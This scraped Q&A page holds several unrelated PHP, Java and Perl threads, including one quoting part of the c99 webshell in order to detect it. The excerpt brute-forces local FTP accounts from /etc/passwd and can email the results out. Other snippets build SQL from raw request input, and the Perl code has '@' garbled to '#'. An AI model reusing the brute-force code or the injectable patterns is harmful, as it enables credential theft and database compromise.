PHP classes not found in Java Bridge - java

For a project i need to use JavaBridge 7.0.1 on a TomcatServer 7.
Everything worked well (test.php for example) but after i had put my project inside i have the following error :
Etat HTTP 500 - java.lang.RuntimeException: PHP Fatal error: Class 'Presenter' not found in C:\Developpements\eclipse\workspace\neon_2\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\JavaBridge\index.php on line 85
I can see that some PHP class are not loaded when some are...
Index.php
<?php
session_start();
// error reporting
ini_set('display_errors', true);
error_reporting(1);
// autoload dependencies automatically via magical composer autoload
require_once 'vendor/autoload.php';
// website configuration file
require_once 'boot.php';
// db configuration file
require_once 'config.php';
// flight framework
require 'core/flight/Flight.php';
// custom functions
require_once 'func.php';
// autoload classes
require_once('autoload.php');
// error logging
if ($config['log_errors']) {
Flight::set('flight.log_errors', true);
$logFile = fopen($config['log_path'] . 'applog.log', 'a+');
Flight::map(
'error',
function (Exception $ex) use ($logFile) {
$message = date('d-m-Y h:i:s') . PHP_EOL . $ex->getTraceAsString() . PHP_EOL . str_repeat(
'-',
80
) . PHP_EOL . PHP_EOL;
fwrite($logFile, $message);
fclose($logFile);
}
);
}
// set config
Flight::set('config', $config);
// view path
Flight::set('flight.views.path', 'app/views/');
// set base path variable to be used in setting css js files in views
$request = (array) Flight::request();
Flight::set('base', $request['base']);
Flight::set('controller', $request['url']);
Flight::set('lastSegment', end(explode('/', $request['url'])));
// connect configuration
$database = $_SESSION['db'] ? $_SESSION['db'] : $config['database_dbname'];
ORM::configure('pgsql:host=' . $config['database_host'] . ';port=5432;dbname=' . $database);
ORM::configure('username', $config['database_user']);
ORM::configure('password', $config['database_password']);
$db = ORM::get_db();
// enable query logging
ORM::configure('logging', true);
Flight::set('db', $db);
Flight::set('dbname', $database);
$stmt = $db->query("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'");
$data = $stmt->fetchAll(PDO::FETCH_NUM);
$data = arrayFlatten($data);
// create table names json file
$json = array();
foreach ($data as $datakey => $datavalue) {
$json[]['word'] = $datavalue;
}
#file_put_contents('tables.json', json_encode($json));
$tables = Presenter::listTables($data);
Flight::set('tables', $tables);
if (false !== strpos($_SERVER['REQUEST_URI'], '/table')) {
$currentTableKey = array_search(Flight::get('lastSegment'), $data, true);
unset($data[$currentTableKey]); // remove current table
// make dropdown options
Flight::set('tablesOptions', getOptions($data));
}
// get an array of databases
$stmt = $db->query("SHOW DATABASES");
$data = $stmt->fetchAll(PDO::FETCH_NUM);
$data = arrayFlatten($data);
Flight::set('databaseOptions', getOptions($data, true, null, $database));
// setup custom 404 page
Flight::map(
'notFound',
function () {
//include 'errors/404.html';
header("HTTP/1.0 404 Not Found");
exit('404 Not Found');
}
);
// set global variables
Flight::set('appname', $config['appname']);
///////// setup routes /////////////
require_once 'routes.php';
// auto-logout after inactivity for 10 minutes
timeoutLogout(60);
// flight now
Flight::start();
Here, for example, Flight.php is well loaded but presenter.php is not (it's loaded with require_once('autoload.php'))
autoload.php
<?php
// autoload classes from controllers/classes/presenters folders
function autoloadController($className) {
if (false !== strpos($className, 'flight')) return;
$className = strtolower($className);
$filename = "app/controllers/" . $className . ".php";
if (is_readable($filename)) {
require $filename;
}
}
function autoloadClass($className) {
if (false !== strpos($className, 'flight')) return;
$className = strtolower($className);
$filename = "app/classes/" . $className . ".php";
if (is_readable($filename)) {
require $filename;
}
}
function autoloadPresenter($className) {
if (false !== strpos($className, 'flight')) return;
$className = strtolower($className);
$filename = "app/presenters/" . $className . ".php";
if (is_readable($filename)) {
require $filename;
}
}
spl_autoload_register('autoloadController');
spl_autoload_register('autoloadPresenter');
spl_autoload_register('autoloadClass');
This is weird because presenter.php is well located :
presenter.php
<?php
class Presenter
{
public static function listTables(array $array)
{
$html = '';
$base = Flight::get('base');
$counter = 0;
foreach ($array as $arrayitem) {
$counter ++;
$html .= <<< HTML
<li>$arrayitem</li>
HTML;
}
return $html;
}
public static function listTableData(array $array, $fieldTypes = array())
{
//$fieldTypes = convertFieldTypesEditable($fieldTypes);
$html = '<table class="table table-striped table-bordered table-hover">' . "\n";
$html .= '<thead>' . "\n";
// build headings
foreach ($array[0] as $head => $value) {
$html .= "<th>$head</th>" . "\n";
}
$html .= '</thead>' . "\n";
// build body
$html .= '<tbody>' . "\n";
//pretty_print($array);
foreach ($array as $subArray) {
$html .= '<tr>' . "\n";
foreach ($subArray as $value) {
$html .= '<td style="white-space: nowrap !important;">' . $value . '</td>' . "\n";
}
$html .= '</tr>' . "\n";
}
$html .= '</tbody>' . "\n";
$html .= '</table>' . "\n";
return $html;
}
}
Finally, if a try this in Wamp, everything work perfectly

Related

Create external process and wait 5 seconds kill it in php

I want to kill a external process after 5 seconds it created
That process is javac Hello.java & java Hello
I figured out a method that is kill process's pid, but samples below cannot get pid.
<?php
system('javac Hello.java & java Hello', $retval);
popen('javac Hello.java & java Hello', 'w');
?>
I don't understand proc_open() and proc_get_status example in PHP manual.
In my case, how to do that?
Here is a very clear explanation for how to use proc_open()
https://www.sitepoint.com/proc-open-communicate-with-the-outside-world/
I've done my job for creating an external process to compile , run java program, wait seconds, kill java running process in PHP script.
Here is that script:
<?php
/**
This is a judge script for verifying lab assignment
of NTU Civil Engineering Computer Programing with no testdata.
You can copy, redistribute, or modify it freely.
Tips:
It is not necessary to use file already provided.
Any related file can be uploaded via testdata field.
Then how to apply specific file uploaded to ./problem/testdata/[item]/[subitem]
completely depends on by how the judge file is defined.
*/
// Error report mechanism of this script
ini_set('display_errors', '1');
ERROR_REPORTING(E_ALL);
// Auto load class definition file that this script will be using.
function __autoload($class_name) {
include_once($class_name . '.php');
}
class Java_No_Input {
private $stu_account;
private $item;
private $subitem;
private $main;
private $dir_name;
private $status;
private $solution_output;
private $student_output;
private $hookup;
public function __construct () {
// Arguments: student account, item, subitem
$this->stu_account = $_SERVER['argv'][1];
$this->item = $_SERVER['argv'][2];
$this->subitem = $_SERVER['argv'][3];
try {
// Connect to MySQL database TAFreeDB
$this->hookup = UniversalConnect::doConnect();
// Create directory to put source codes temporarily
$this->createDir();
// Fetch student and solution source from table [item]_[subitem]
$this->fetchSource();
// Start judge
$this->startJudge();
// Update judge status
$this->updateStatus();
// Remove directory
$this->removeDir();
$this->hookup = null;
exit();
}
catch (PDOException $e) {
echo 'Error: ' . $e->getMessage() . '<br>';
}
}
public function createDir () {
$this->dir_name = './process/' . uniqid(time(), true);
mkdir($this->dir_name);
mkdir($this->dir_name . '/student');
mkdir($this->dir_name . '/solution');
}
public function removeDir () {
system('rm -rf ' . $this->dir_name, $retval);
if ($retval !== 0 ) {
echo 'Directory can not be removed...';
exit();
}
}
public function fetchSource () {
$stmt = $this->hookup->prepare('SELECT main, classname, original_source, ' . $this->stu_account . ' FROM ' . $this->item . '_' . $this->subitem);
$stmt->execute();
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
if ($row['main'] === 'V') {
$this->main = $row['classname'];
}
$student = fopen($this->dir_name . '/student/' . $row['classname'], 'w');
fwrite($student, $row[$this->stu_account]);
fclose($student);
$solution = fopen($this->dir_name . '/solution/' . $row['classname'], 'w');
fwrite($solution, $row['original_source']);
fclose($solution);
}
}
public function startJudge () {
// Solution and student directory whose source is in
$solution_dir = $this->dir_name . '/solution';
$student_dir = $this->dir_name . '/student';
// Compile source code from both solution and student
$solution_CE = $this->compile($solution_dir);
if (!empty($solution_CE)) {
// Configure result that will response to client side
$error_msg = '<h1>Solution has compiler error</h1>' . '<pre><code>' . $solution_CE . '</code></pre>';
$this->configureView($error_msg);
// System error
$this->status = 'SE';
return;
}
$student_CE = $this->compile($student_dir);
if (!empty($student_CE)) {
// Configure result that will response to client side
$error_msg = '<h1>Your source code has compiler error</h1>' . '<pre><code>' . $student_CE . '</code></pre>';
$this->configureView($error_msg);
// Compiler error
$this->status = 'CE';
return;
}
// Execute source code from both solution and student
$solution_RE = $this->execute($solution_dir, 2);
if (!empty($solution_RE)) {
// Configure result that will response to client side
$error_msg = '<h1>Solution has runtime error</h1>' . '<pre><code>' . $solution_RE . '</code></pre>';
$this->configureView($error_msg);
// System error
$this->status = 'SE';
return;
}
$student_RE = $this->execute($student_dir, 2);
if (!empty($student_RE)) {
// Configure result that will response to client side
$error_msg = '<h1>Your source code has runtime error</h1>' . '<pre><code>' . $student_RE . '</code></pre>';
$this->configureView($error_msg);
// Runtime error
$this->status = 'RE';
return;
}
// Compare output from both solution and student
$this->solution_output = $this->execute($solution_dir, 1);
$this->student_output = $this->execute($student_dir, 1);
$retval = strcmp($this->solution_output, $this->student_output);
if ($retval === 0) {
// Accept
$this->status = 'AC';
}
else {
// Wrong Answer
$this->status = 'WA';
}
// Configure result that will response to client side
$error_msg = null;
$this->configureView($error_msg);
return;
}
public function compile ($dir) {
// Configure descriptor array
$desc = array (
0 => array ('pipe', 'r'), // STDIN for process
1 => array ('pipe', 'w'), // STDOUT for process
2 => array ('pipe', 'w') // STDERR for process
);
// Configure compilation command
$cmd = 'javac -d ' . $dir . ' ';
$source = glob($dir . '/*');
foreach ($source as $key => $value) {
$cmd .= $value . ' ';
}
// Create compilation process
$process = proc_open($cmd, $desc, $pipes);
// Close STDIN pipe
fclose($pipes[0]);
// Get output of STDERR pipe
$error = stream_get_contents($pipes[2]);
// Close STDOUT and STDERR pipe
fclose($pipes[1]);
fclose($pipes[2]);
// Close process
proc_close($process);
return $error;
}
public function execute ($dir, $pipe_id) {
// Configure descriptor array
$desc = array (
0 => array ('pipe', 'r'), // STDIN for process
1 => array ('pipe', 'w'), // STDOUT for process
2 => array ('pipe', 'w') // STDERR for process
);
// Configure execution command
$cmd = 'exec java -classpath ' . $dir . ' ';
$last_pos = strrpos($this->main, '.java');
$classname = substr($this->main, 0, $last_pos);
$cmd .= $classname;
// Create execution process
$process = proc_open($cmd, $desc, $pipes);
// Get pid of execution process
$process_status = proc_get_status($process);
$pid = $process_status['pid'];
// Close STDIN pipe
fclose($pipes[0]);
// Wait seconds
sleep(1);
// Kill execution process
posix_kill($pid, SIGTERM);
// Get output of STDOUT or STDERR pipe
$output = stream_get_contents($pipes[$pipe_id]);
// Close STDOUT and STDERR pipe
fclose($pipes[1]);
fclose($pipes[2]);
return $output;
}
public function updateStatus () {
$stmt = $this->hookup->prepare('UPDATE ' . $this->item . ' SET ' . $this->stu_account . '=\'' . $this->status . '\' WHERE subitem=\'' . $this->subitem . '\'');
$stmt->execute();
}
public function configureView ($error_msg) {
if (!is_null($error_msg)) {
echo $error_msg;
}
else {
$result = '';
if ($this->status === 'WA') {
$result = 'Wrong Answer';
}
if ($this->status === 'AC') {
$result = 'Accept';
}
echo<<<EOF
<h1>$result</h1>
<div class='WHOSE_DIV'>
<img class='UP_DOWN_IMG' src='./tafree-svg/attention.svg'>
<div class='RES_DIV'>
<div class='SOL_DIV'>{$this->solution_output}</div>
<div class='STU_DIV'>{$this->student_output}</div>
</div>
</div>
EOF;
}
return;
}
}
$judger = new Java_No_Input();
?>

core php: My php script does not accept any request until current request is complete

I have a php script:
<?php
header('Content-type: text/plain');
require_once( explode( "wp-content" , __FILE__ )[0] . "wp-load.php" );
require_once("user_details.php");
$GLOBALS['woocommerce'] = WC();
getPostData($woocommerce);
function getPostData($woocommerce){
$user_id;
if(isset($_GET['userName'], $_GET['password'])){
$user = wp_authenticate($_GET['userName'], $_GET['password']);
if (!is_wp_error($user)){
if(filter_var($_GET['userName'], FILTER_VALIDATE_EMAIL)) {
$user_id=getUserByEmail($_GET['userName']);
}
else {
$user_id=getUserByUserName($_GET['userName']);
}
$user_info=getUserInfo($user_id);
$user_info= json_encode(array($user_info));
echo $user_info;
}
else{
$error = $user->get_error_message();
echo '{"RESULT":"ERROR_INVALID_LOGIN_DETAILS"}';
}
}
else{
echo '{"RESULT":"_GET_ERROR"}';
}
}
?>
I am unable to call this script from multiple android/ios devices.. only the first request is handled while others wait in queue forever... someone please help me how to handle this!

Getting output from Perl script called from Java code

I've read a lot of questions/examples on this issue, but unfortunately I have not been able to solve my problem. I need to call a Perl script (that I cannot change) from Java code, and then I need to get the output from that script.
The script is used to take student programming homework assignments, and check them for copying by comparing all of them together. The script can take ~45 seconds to run, but only requires the arguments to be properly formatted, there is no interactivity.
My issue is when I call the script from my Java code I get the first line of output from the script but nothing else. I'm using Runtime.exe() and then waitFor() to wait for the script to finish. However the waitFor() function returns before the script actually finishes. I don't know any Perl so I'm not sure if the script is doing something that 'confuses' the java Process object, or if there's an issue in my code.
Process run = Runtime.getRuntime().exec(cmd);
output = new BufferedReader(new InputStreamReader(run.getInputStream()));
run.waitFor();
String temp;
while((temp = output.readLine()) != null){
System.out.println(temp);
}
The Perl script..
use IO::Socket;
#
# As of the date this script was written, the following languages were supported. This script will work with
# languages added later however. Check the moss website for the full list of supported languages.
#
#languages = ("c", "cc", "java", "ml", "pascal", "ada", "lisp", "scheme", "haskell", "fortran", "ascii", "vhdl", "perl", "matlab", "python", "mips", "prolog", "spice", "vb", "csharp", "modula2", "a8086", "javascript", "plsql", "verilog");
$server = 'moss.stanford.edu';
$port = '7690';
$noreq = "Request not sent.";
$usage = "usage: moss [-x] [-l language] [-d] [-b basefile1] ... [-b basefilen] [-m #] [-c \"string\"] file1 file2 file3 ...";
#
# The userid is used to authenticate your queries to the server; don't change it!
#
$userid=[REDACTED];
#
# Process the command line options. This is done in a non-standard
# way to allow multiple -b's.
#
$opt_l = "c"; # default language is c
$opt_m = 10;
$opt_d = 0;
$opt_x = 0;
$opt_c = "";
$opt_n = 250;
$bindex = 0; # this becomes non-zero if we have any base files
while (#ARGV && ($_ = $ARGV[0]) =~ /^-(.)(.*)/) {
($first,$rest) = ($1,$2);
shift(#ARGV);
if ($first eq "d") {
$opt_d = 1;
next;
}
if ($first eq "b") {
if($rest eq '') {
die "No argument for option -b.\n" unless #ARGV;
$rest = shift(#ARGV);
}
$opt_b[$bindex++] = $rest;
next;
}
if ($first eq "l") {
if ($rest eq '') {
die "No argument for option -l.\n" unless #ARGV;
$rest = shift(#ARGV);
}
$opt_l = $rest;
next;
}
if ($first eq "m") {
if($rest eq '') {
die "No argument for option -m.\n" unless #ARGV;
$rest = shift(#ARGV);
}
$opt_m = $rest;
next;
}
if ($first eq "c") {
if($rest eq '') {
die "No argument for option -c.\n" unless #ARGV;
$rest = shift(#ARGV);
}
$opt_c = $rest;
next;
}
if ($first eq "n") {
if($rest eq '') {
die "No argument for option -n.\n" unless #ARGV;
$rest = shift(#ARGV);
}
$opt_n = $rest;
next;
}
if ($first eq "x") {
$opt_x = 1;
next;
}
#
# Override the name of the server. This is used for testing this script.
#
if ($first eq "s") {
$server = shift(#ARGV);
next;
}
#
# Override the port. This is used for testing this script.
#
if ($first eq "p") {
$port = shift(#ARGV);
next;
}
die "Unrecognized option -$first. $usage\n";
}
#
# Check a bunch of things first to ensure that the
# script will be able to run to completion.
#
#
# Make sure all the argument files exist and are readable.
#
print "Checking files . . . \n";
$i = 0;
while($i < $bindex)
{
die "Base file $opt_b[$i] does not exist. $noreq\n" unless -e "$opt_b[$i]";
die "Base file $opt_b[$i] is not readable. $noreq\n" unless -r "$opt_b[$i]";
die "Base file $opt_b is not a text file. $noreq\n" unless -T "$opt_b[$i]";
$i++;
}
foreach $file (#ARGV)
{
die "File $file does not exist. $noreq\n" unless -e "$file";
die "File $file is not readable. $noreq\n" unless -r "$file";
die "File $file is not a text file. $noreq\n" unless -T "$file";
}
if ("#ARGV" eq '') {
die "No files submitted.\n $usage";
}
print "OK\n";
#
# Now the real processing begins.
#
$sock = new IO::Socket::INET (
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
);
die "Could not connect to server $server: $!\n" unless $sock;
$sock->autoflush(1);
sub read_from_server {
$msg = <$sock>;
print $msg;
}
sub upload_file {
local ($file, $id, $lang) = #_;
#
# The stat function does not seem to give correct filesizes on windows, so
# we compute the size here via brute force.
#
open(F,$file);
$size = 0;
while (<F>) {
$size += length($_);
}
close(F);
print "Uploading $file ...";
open(F,$file);
$file =~s/\s/\_/g; # replace blanks in filename with underscores
print $sock "file $id $lang $size $file\n";
while (<F>) {
print $sock $_;
}
close(F);
print "done.\n";
}
print $sock "moss $userid\n"; # authenticate user
print $sock "directory $opt_d\n";
print $sock "X $opt_x\n";
print $sock "maxmatches $opt_m\n";
print $sock "show $opt_n\n";
#
# confirm that we have a supported languages
#
print $sock "language $opt_l\n";
$msg = <$sock>;
chop($msg);
if ($msg eq "no") {
print $sock "end\n";
die "Unrecognized language $opt_l.";
}
# upload any base files
$i = 0;
while($i < $bindex) {
&upload_file($opt_b[$i++],0,$opt_l);
}
$setid = 1;
foreach $file (#ARGV) {
&upload_file($file,$setid++,$opt_l);
}
print $sock "query 0 $opt_c\n";
print "Query submitted. Waiting for the server's response.\n";
&read_from_server();
print $sock "end\n";
close($sock);
Thank you for any input you may have on my problem.
You can use my native Java client for MOSS instead .
Don't mind the version number. I've been using it in production successfully.

how to identify some codes in a file according to its function

I was given C99 codes, and what should I do is to find out the file with the C99 code in a bench of files.
In the c99 codes, I found some aggressive codes, which will do some hacks on other pcs.
Now, my question is how to identify these code according to their function?
For example, here is part of source codes in c99:
function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
{
if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
else {$true = true;}
if ($true)
{
$sock = #ftp_connect($host,$port,$timeout);
if (#ftp_login($sock,$login,$pass))
{
echo "<b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b>.<br>";
ob_flush();
return true;
}
}
}
if (!empty($submit))
{
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
else
{
if ($fqb_logging)
{
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = false;}
$fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp))
{
$str = explode(":",fgets($fp,2048));
if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
{
echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
$fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
$fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
if ($fqb_logemail) {#mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
fclose($fqb_logfp);
}
}
what I wanna do is to find a file with these code in java

PHP email sent with confirmation link but confirmation link not working

I have an email being generated and sent in one file, a link in that email links to my confirmation page which then should move the users name around database tables according to choices they have made. Problem is i am getting nothing from the confirmation page at all, even when i use just a simple print statement and nothing else. I have been trying to figure it out but to no avail and error reporting is returning blank as well. here at the two files:
email.php (which fully works)
<?php
$link= mysql_connect(...............); //Establish connection to the MySQL server
if (!$link) {
die('Could not connect: ' . mysql_error());
}
mysql_select_db(.....);
$confirm = md5(uniqid(rand()));
$position = $_POST['position'];
$team_name = $_POST['team_name'];
$zip_code = $_POST['zip_code'];
$userId = $_POST['userId'];
$s=mysql_query("SELECT Coach, TeamId FROM TEAM WHERE TEAM.Name = '$team_name' AND TEAM.Zip ='$zip_code'") OR die ("Error 1"); //Get result from query
while($row=mysql_fetch_assoc($s))
{
$coachId = $row['Coach'];
$teamId = $row['TeamId'];
}
$l=mysql_query("SELECT Name, Email FROM USER WHERE USER.UserId = '$userId'") OR die ("Error 3"); //Get result from query
while($row = mysql_fetch_assoc($l))
{
$user_name = $row['Name'];
$user_email = $row['Email'];
}
$q=mysql_query("SELECT Name, Email FROM USER WHERE USER.UserId = '$coachId'") OR die ("Error 4"); //Get result from query
while($coach=mysql_fetch_assoc($q))
{
$to = $coach['Email'];
$name = $user_name;
$subject = "Scoutlet $position Request for The $team_name";
if($position == "Head Coach")
{
$message = "$name has requested to become the Head Coach for the $team_name.";
$message .= "\n\nClick on the following link to give $name permission to be the Head Coach of the $team_name (Located in the ZIP code $zip_code).\n\n";
$message .="Click Here to make $name the Head Coach";
}
else
{
$message = "$name has requested to become a Score Keeper for the $team_name.";
$message .= "\n\nClick on the following link to give $name permission to be a Score Keeper for the $team_name (Located in the ZIP code $zip_code).\n\n";
$message.="http://web.***.***/~***/confirmation.php?key=$confirm"; // way to prevent no spam, dont use txt
}
$headers = "From: ***";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$sent = mail($to, $subject, $message, $headers) ;
if($sent)
{
print "sent";
}
else
{
print "fail";
}
}
$sql=mysql_query("INSERT INTO CONFIRMATION(ConfirmationNumber, UserId, Email, TeamId, TeamName, Position)VALUES('$confirm', '$userId','$user_email','$teamId', '$team_name', '$position')") OR die ("Error 2"); //Get result from query
mysql_close();
?>
confirmation.php
<?
ini_set('display_errors',1);
error_reporting(E_ALL);
$confirm = $_GET['key'];
$link= mysql_connect(***********); //Establish connection to the MySQL server
if (!$link)
{
die('Could not connect: ' . mysql_error());
}
echo "connect4e";
mysql_select_db(**********);
$sql1=mysql_query("SELECT * FROM CONFIRMATION WHERE ConfirmationNumber ='$confirm'") OR die ("Fail 1");
while($row=mysql_fetch_assoc($sql1))
{
$userId= $row['UserId'];
$user_email = $row['Email'];
$teamId = $row['TeamId'];
$team_name = $row['TeamName'];
$position= $row['Position'];
}
$sql2= mysql_query("INSERT INTO USER (Role) VALUES ('$position') WHERE UserId ='$userId'") OR die ("Fail 2");
if($position =="Head Coach")
{
$sql3= mysql_query("INSERT INTO TEAM (Coach) VALUES ('$userId') WHERE TeamId ='$teamId'") OR die ("Fail 3a");
}
else
{ // do a check earlier on to see if the user is already a score keeper for that team
$sql3= mysql_query("INSERT INTO SCOREKEEPS_FOR (ScoreKeeper, Team) VALUES ('$userId', '$teamId')") OR die ("Fail 3b");
}
$to= $user_email;
$subject="Welcome to Our Site";
$headers = "From: ******";
$message="Congratulations, you have been confirmed as a $position for The $team_name.";
$sent = mail($to,$subject,$message,$header);
if(sent)
{
$sql4=mysql_query("DELETE FROM CONFIRMATION WHERE ConfirmationNumber = '$confirm'") OR die ("Fail 5");
}
else
{
print "fail";
}
?>
I've already killed a ton of time just trying to error check which was a waste so hopefully more eyes will help solve it faster. any help or suggestions would be great. thanks in advance
if(sent) >>should be>> if($sent)
Could be your server only executes php with starting tag
<?php
instead of
<?
http://us2.php.net/manual/en/language.basic-syntax.phptags.php
PHP also allows for short tags (which are discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option.
in your confirmation.php you're using short open tags <? ... ?>. Make sure your php short open tags is enable or simply use <?php ... ?> instead.

Categories